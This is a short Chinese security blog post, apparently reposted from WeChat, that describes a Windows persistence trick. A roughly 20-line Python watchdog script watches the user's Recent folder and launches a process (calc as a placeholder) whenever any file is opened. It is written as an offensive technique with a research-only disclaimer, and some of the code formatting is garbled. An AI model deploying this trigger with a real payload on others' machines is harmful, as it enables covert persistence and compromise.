点开txt即可上线,点开图片即可上线,这梦幻般的场景在20多行的python脚本均不是梦
首先我们了解一下
C:UsersusernameAppDataRoamingMicrosoftWindowsRecent
这个路径是Windows的最近使用项目
如果你有everything工具你点击一个图片或者文件你会发现
每次点击都会在此目录下创建一个新的ink文件
于是我们可以监控这个目录
如果这个目录有新文件生成代表用户点击了一个文件
如果有新文件生成我们就执行一次calc
这个逻辑看起来没问题
但是如果我们在一个新的设备上运行要怎么办,我们不知道他的用户名,总不能获取用户名然后拼接吧
于是我想到了通配符%APPDATA%
他会回显到roaming目录
然后我们进行拼接"Microsoft", "Windows", "Recent"就好了
于是就有了如下效果
import os
import time
import subprocess
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
# Recent 目录路径
RECENT_DIR = os.path.join(os.environ["APPDATA"], "Microsoft", "Windows", "Recent")
classRecentHandler(FileSystemEventHandler):
def on_created(self, event):
if not event.is_directory:
subprocess.Popen("calc")
if __name__ == "__main__":
event_handler = RecentHandler()
observer = Observer()
observer.schedule(event_handler, path=RECENT_DIR, recursive=False)
observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
原文始发于微信公众号(秋风的安全之路):Windows新方法权限维持!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论